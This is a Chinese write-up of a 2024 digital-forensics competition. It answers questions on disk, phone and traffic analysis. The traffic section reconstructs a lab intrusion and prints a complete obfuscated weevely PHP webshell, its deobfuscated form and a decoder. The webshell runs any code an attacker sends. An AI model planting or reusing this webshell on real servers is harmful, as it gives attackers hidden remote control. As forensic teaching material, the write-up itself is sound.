2024第一届数证杯初赛wp(计算机、手机、流量分析部分)
2024第一届数证杯(计算机、手机、流量分析部分)
计算机取证
1.
对计算机镜像进行分析,计算该镜像中ESP分区的SM3值后8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)
ai搜一下ESP分区的特征
找到并计算出SM3值
后八位为
BDBE1073
2.
对计算机镜像进行分析,该操作系统超管账户最后一次注销时间为?(时区为UTC+08:00)(答案格式如:1970-01-01 00:00:00) (2分)
2024-10-25 22:57:32
3.
对计算机镜像进行分析,该操作系统超管账户有记录的登录次数为?(填写数字,答案格式如:1234) (2分)
24
4.
对计算机镜像进行分析,该操作系统设置的账户密码最长存留期为多少天?(填写数字,答案格式如:1234) (2分)
42
5.
对计算机镜像进行分析,该操作系统安装的数据擦除软件的版本为?(答案格式:1.23) (2分)
5.86
6.
对计算机镜像进行分析,该操作系统接入过一名称为“Realtek USB Disk autorun USB Device”的USB设备,其接入时分配的盘符为?(答案格式:A:) (2分)
E:
7.
对计算机镜像进行分析,该操作系统无线网卡分配的默认网关地址为?(答案格式:127.0.0.1) (2分)
192.168.43.1
8.
对计算机镜像进行分析,该操作系统配置的连接NAS共享文件夹的IP地址为?(答案格式:127.0.0.1) (2分)
192.168.188.1
9.
对计算机镜像进行分析,写出“吵群技巧.txt”文件SM3值的后8位?(大写字母与数字组合,如:D23DDF44) (2分)
10887ae1
可以在计算机镜像中找到一个压缩包话术、方法、技巧.zip
提取出来 放在010中看一下 找到吵群技巧.txt
解压出来 根据内容判断出来第二个文件是我们想找的这个
找在线网站进行计算
4767951e073483956c0ae607c0e8920eba840c7f45691a0c700ace9810887ae1
10.
对计算机镜像进行分析,该操作系统通过SSH连接工具连接CCTalk测试环境的SSH端口为?(填写数字,答案格式如:1234) (2分)
12849
11.
对计算机镜像进行分析,该操作系统通过SSH连接工具连接的CCTalk境外服务器是哪个运营商的?(填写汉字,答案格式:阿里云) (2分)
亚马逊云
在回收站中找到了删除的CCTalk的xftp连接文件 我们导出一下看看
看到连接了一个外网地址 直接搜一下这个ip
12.
对计算机镜像进行分析,获取机主在本机的U盾序号的后4位数字为?(填写数字,答案格式如:1234) (2分)
6409
(太好了,是misc,我们有救了)
开始的想法是在USB的连接记录中找一找 但是没找到 直接在取证大师中搜U盾 找到一张jpg图片
提出来 放到010中看一下 后面有个rar压缩包
提出来 直接解压 找到U盾图片
13.
对计算机镜像进行分析,机主存储的某篇新闻报道“小程序搅动资源争夺战”的发表年份为?(答案格式:2024) (2分)
2019
直接搜关键词 找到在Downloads文件夹下有个caj文件
找个在线转换的网站转成pdf 打开看一下
发现发表年份是2019年
14.
对计算机镜像进行分析,该操作系统访问“环球商贸”的IP地址为?(答案格式:127.0.0.1) (2分)
39.108.126.128
同样 直接搜环球商贸 找到相关的浏览器访问记录
15.
对计算机镜像进行分析,“环球商贸”服务器配置的登录密码为?(答案按照实际填写,字母存在大小写) (2分)
HQSM#20231108@gwWeB
在翻找huanqiushangmao
字段的过程中 找到了一个finalshell连接的配置文件
导出来 在里面看到密码的密文
找个项目解密一下
16.
对计算机镜像进行分析,机主安装的PC-Server服务环境的登录密码是?(答案按照实际填写,字母全小写) (2分)
jlb654321
同上题 在上一级文件夹conn中 我们也能找到使用finalshell连接PC-Server服务器的配置文件 导出 解密密码
17.
对计算机镜像进行分析,机主搭建的宝塔面板的安全入口为?(答案格式:/abc123) (2分)
/c38b336a
宝塔部分 我们可以仿真起来做 在火眼的分析结果中 我们可以找到一个嵌套镜像
导出来 进行仿真 但是发现没有ens33网卡的ip地址
使用命令重新配置并启动ens33网卡
sudo dhclient ens33
sudo ifconfig ens33
看到ip为192.168.238.134
使用xshell进行连接
bt 14
查看面板信息
入口为/c38b336a
18.
对计算机镜像进行分析,机主搭建的宝塔面板的登录账号为?(答案格式:abcd) (2分)
igmxcdsa
接上题
igmxcdsa
19.
对计算机镜像进行分析,其搭建的宝塔面板的登录密码为?(按实际值填写) (2分)
20.
对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)
17859628390
这里说的应该是手机号 我们修改宝塔面板的密码 登上去看一下
也可以直接翻文件
/www/server/panel/data/userInfo.json
21.
对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境的root密码为?(按实际值填写) (4分)
123456
22.
对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境连接的端口号为?(填写数字,答案格式如:1234) (2分)
3306
23.
接上题,“卡号分组”表所在的数据库名为?(答案按照实际填写,字母全小写) (4分)
a_train2023
日志中找到了网站的数据库sql文件
导出 搜索卡号分组
找到 说明“卡号分组”表所在的数据库就是a_train2023
24.
接上题,“孙华锦”在2020-07-01 10:49:07时间节点的交易余额为?(答案格式:1234.56) (4分)
6610.94
也是直接在数据库sql文件中找
对应的资金总表中的第八个字段 就是交易余额
25.
对U盘镜像进行分析,其镜像中共有几个分区?(填写数字,答案格式如:1234) (2分)
2
26.
对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234) (2分)
1
27.
对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
512
同上图 扇区字节数就是扇区大小
28.
对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
7345
保留扇区=fat扇区位置-起始扇区位置
FAT32主分区文件系统前的保留扇区数,指的是FAT32文件系统分区起始到FAT1表位置的扇区数。
同上题 就是FAT1表的起始扇区数
29.
对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
9393
用x-ways搜
30.
对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
109584
起始扇区为876672 扇区大小512字节 一个簇是4096字节 那起始簇号就是876672*512/4096=109584
31.
对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234) (4分)
8
接上题 就是4096/512=8
32.
对U盘镜像进行分析,请从该镜像的两个分区中找出使用“新建文本文档.txt”记录的同一个MD5值的两部分信息,并写出该MD5值的第13--20位字符串。(答案格式:大写字母与数字组合,如:D23DDF44) (4分)
d668aee2
在两个分区中都找到一个预览失败的图片导出来看看
用r-studio导出
010editor中把文件头改了
成功修复
手机取证
1.[填空题]
对手机镜像进行分析,机主微信ID号为?(答案按照实际填写,字母全小写) (2分)
wxid_gvlyzqeyg83o22
2.[填空题]
对手机镜像进行分析,机主在2023年12月登录宝塔面板使用的验证码为?(填写数字,答案格式如:1234) (2分)
043981
3.[填空题]
对手机镜像进行分析,小众即时通讯“鸽哒”应用程序的最后更新时间为?(答案格式如:1970-01-01 00:00:00) (2分)
2024-09-20 10:06:13
这里其实有一些歧义 首先我们可以从/system/packages.xml
文件中 找到软件安装的一些信息
再找到这个程序的包名
其中ut:表示app上次被更新时间
我们先转10进制 再转时间戳
这里得到的结果是2024-09-20 09:25:19
我们还可以选择翻数据库 会发现在tio.db中找到一个UPDATETIME字段 得到的时间是2024-09-20 10:06:13
这里产生差异可能一个是软件自动更新和用户手动更新时间的不一致 因为题干也没有详细的描述 所以这里存疑 后面可以等一下官方wp
4.[填空题]
对手机镜像进行分析,该手机中记录的最后一次开机时间。(答案格式如:1970-01-01 00:00:00) (2分)
2024-10-24 11:27:14
5.[填空题]
对手机镜像进行分析,该手机中高德地图APP应用的登录ID为?(答案按照实际填写) (2分)
950980338
火眼可以直接分析出来
翻数据库也可以
6.[填空题]
对手机镜像进行分析,该手机中高德地图APP应用登录账号头像的SHA-256值前8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)
8F8A68A3
翻找源文件
直接计算sha256值
8F8A68A3459D84E204B267E9B75F05533BEC9668334F476A31C1C154DFF7E5FA
7.[填空题]
对手机镜像进行分析,其中20220207-20230206的微信账单文件的解压密码为?(答案格式:按实际值填写) (2分)
847905
先找到这个文件提取出来 直接全局搜索 我们可以发现 这个文件在计算机镜像中存在
可以直接爆破密码
也可以在手机镜像中找到一张微信截图 里面是传输这个文件的记录和解压密码
8.[填空题]
对手机镜像进行分析,机主在手机中存储的一张复古土砌矮墙照片的拍摄地为哪个城市?(答案格式:北京市) (2分)
景德镇
在手机镜像中的jpg图片中翻一翻就找到了
把原图片提出来 我们可以看到他的exif信息
找个坐标拾取的在线网站搜一下
29°17′9.23″ 117°10′43.77″
发现是景德镇
9.[填空题]
对手机镜像进行分析,通过AI合成的人脸照片中,有几张照片是通过本机当前安装的AI照片合成工具生成,并有对应记录的?(填写数字,答案格式如:1234) (4分)
3
直接找数据库文件
10.[填空题]
对手机镜像进行分析,统计出通讯录号码归属地第二多的省份是?(答案格式:广东) (4分)
福建
选择导出——勾选项 将通讯录数据全部导出为csv表格
在表格中选中归属地——数据——智能分列——筛选
看到第二的省份是福建省
11.[填空题]
对手机镜像进行分析,找出“季令柏”身份证号后4位为?(答案格式:1234) (2分)
8043
搜索身份证找到一张图片 我的身份证电子信息.png
但是无法正常显示 导出来放到010看一下 发现是少了png头
加上 看到正常的身份证图片
12.[填空题]
对手机镜像进行分析,找出接收“葵花宝典1.doc”文件使用的应用程序的第一次安装时间为?(答案格式如:1970-01-01 00:00:00) (2分)
2024-09-20 09:29:40
先找接受这个文件的程序
很明显是Telegram 火眼可以直接解析出Telegram的安装时间
如果是找源文件 就是system\package.xml
文件
直接从里面找telegram ft字段的值就是安装时间
先16进制转10进制 在转时间戳
import datetime
ft_hex = "1920d0c8fa0"
ft_dec = int(ft_hex, 16)
print(ft_dec)
# 1726795780000
然后使用时间戳转换工具
在线网站也能解
2024-09-20 09:29:40
13.[填空题]
对手机镜像进行分析,机主使用的小众即时通讯应用使用的服务器IP为?(答案格式:127.0.0.1) (2分)
163.179.125.64
在手机安装的这些应用中 只有鸽哒属于是小众的通讯工具
直接搜源文件 翻数据库
14.[填空题]
对手机镜像进行分析,机主在哪个平台上发布过转让传奇游戏币的信息,请写出该平台应用APP的包名?(答案格式:com.abcd) (4分)
com.jiuwu
手机中安装的apk中只有95分是个闲置交易平台
15.[填空题]
对手机镜像进行分析,其中有一“双色球”网页的玩法规则中定义的“三等奖”的奖金是多少?(填写数字,答案格式如:1234) (4分)
3000
发现应用中还有一个随机备忘录没有用到 找到包名 去翻数据库
找到关于中奖规则的记录 是一些网站
https://www.lottery.gov.cn/dlt/index.html
https://www.lottery.gov.cn/jc/index.html
https://www.lottery.gov.cn/cz/index.html
https://www.lottery.gov.cn/xdgg/
https://www.lottery.gov.cn/plwf/index.html
https://www.lottery.gov.cn/qxc/index.html
https://www.cwl.gov.cn/fcpz/yxjs/ssq/
https://www.cwl.gov.cn/fcpz/yxjs/ggl/
https://www.cwl.gov.cn/fcpz/yxjs/fc3d/
https://www.cwl.gov.cn/fcpz/yxjs/kl8/
访问下面的找到中奖规则
16.[填空题]
对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的用户ID为?(答案格式:答案按照实际填写) (2分)
2968704175
17.[填空题]
对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的IP地址为?(答案格式:127.0.0.1) (4分)
192.168.110.106
在mmkv文件夹下的配置文件中
网络流量分析
1.[填空题]
分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)
3504
在捕获文件属性中
2.[填空题]
分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)
23F79
同上题图
3. [填空题]
分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)
192.168.75.131
看一下分组计数器 很多响应码为404的 猜测可能有扫目录或者爆破密码的攻击
过滤看一下 来源全是192.168.75.131这个ip 既然是响应包 那来源ip就是被攻击的ip
4. [填空题]
分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)
ubuntu
很好找 下面一翻就有
5. [填空题]
分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)
nmap
到这里是扫完ip 后面就开始扫端口
6. [填空题]
分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)
3.1.0
从这里开始进行模糊测试 扫目录
7.[填空题]
分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)
/dbadmin/test_db.php
直接搜phpliteadmin
追踪tcp流 发现确实是登陆页面
8.[填空题]
分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)
admin
9. [填空题]
分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)
demo.php
10. [填空题]
分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)
rev.txt
下载就搜wget
11.[填空题]
分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)
192.168.75.132:30127
直接搜port =
12. [填空题]
分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)
3.11.8
直接搜
13. [填空题]
分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)
wordpress
在反弹得到的shell中 看到有wordpress的源码和文件夹
14. [填空题]
分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)
sWfCsfJSPV9H3AmQzw8
在下面读取了wp的配置文件 wp-config.php
15. [填空题]
分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)
2000
在拿到shell后的流量包部分都是围绕help.php来进行传输信息的 猜测上传的木马就是help.php
在弹shell后面的一个包中找到了help.php的内容
<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>
从流量包中看到应该是使用的2000端口来上传
16. [填空题]
分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写) (4分)
57638
下面就是需要解析一下这个混淆了的木马脚本了 参考weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版_两重明文混淆webshell-CSDN博客
# 主要部分
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
$D参数将cMcreacMte_cMfcMunccMcMtion
中所有的cM
替换为空 也就是create_function
$S参数将$A.$q.$o.$Q.$k.$w.$Z这七个参数内容中的v1
替换为空 在进行拼接
# 替换后的结果
$q='uo2g6mkn7y";function x($t,$k){$c=strlen($k);$l=strlen($t);$o';
$k='tents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@';
$A='$k="c6ae1e70";$kh="cbbf9691e009";$kf="85a89e92c410";$p="dzINRg';
$o='="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^';
$Q='$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_con';
$Z='lean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';
$w='base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_c';
拼接整理之后就是
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1{
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
整理一下缩进
<?php
$k = "c6ae1e70"; // 密钥k
$kh = "cbbf9691e009"; // 匹配开始标识符
$kf = "85a89e92c410"; // 匹配结束标识符
$p = "dzINRguo2g6mkn7y"; // 前缀标识符
// 定义 x() 函数,用于对字符串进行异或运算
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t); // 输入字符串的长度
$o = "";
// 遍历字符串 t 和 k,进行异或运算
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j}; // 异或操作,并拼接到输出字符串
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
// 开始输出缓冲
@ob_start();
// 对解码后的数据进行解压缩并执行
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
// 获取缓冲内容
$o = @ob_get_contents();
// 清空输出缓冲区
@ob_end_clean();
// 压缩输出内容并进行 base64 编码
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}
?>
写解密脚本
<?php
$k = "c6ae1e70";
$kh = "cbbf9691e009";
$kf = "85a89e92c410";
$p = "dzINRguo2g6mkn7y";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$encrypted_data = '}HWf-=PXe:{?M .cbbf9691e009G6oqKP+t4ABWAVLT4dExMHs6Ylw85a89e92c410f_OUraaYXp_&IVH4';
if (preg_match("/$kh(.+)$kf/", $encrypted_data, $matches) == 1) {
$encoded_data = $matches[1];
$decoded_data = base64_decode($encoded_data);
$decrypted_data = x($decoded_data, $k);
$uncompressed_data = @gzuncompress($decrypted_data);
echo($uncompressed_data);
}
?
找到第一个传输的加密流量包
解密得到获取到的缓冲区内容是57638